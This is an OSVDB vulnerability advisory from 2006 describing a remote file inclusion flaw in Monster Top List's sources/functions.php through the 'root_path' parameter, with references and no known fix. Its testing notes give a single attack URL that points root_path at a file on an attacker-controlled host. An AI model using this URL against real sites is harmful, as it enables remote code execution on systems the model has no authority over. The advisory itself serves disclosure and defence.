Monster Top List sources/functions.php root_path Variable Remote File Inclusion

2006-04-12T08:47:36
ID OSVDB:24650
Type osvdb
Reporter r0t(krustevs@googlemail.com)
Modified 2006-04-12T08:47:36

Description

Vulnerability Description

Monster Top List contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to sources/functions.php not properly sanitizing user input supplied to the 'root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Monster Top List contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to sources/functions.php not properly sanitizing user input supplied to the 'root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[path]/sources/functions.php?root_path=http://[attacker]/forum/

References:

Vendor URL: http://www.monstertoplist.com/ Secunia Advisory ID:19688 Other Advisory URL: http://pridels.blogspot.com/2006/04/monstertoplist.html ISS X-Force ID: 25774 FrSIRT Advisory: ADV-2006-1350 CVE-2006-1781 Bugtraq ID: 17546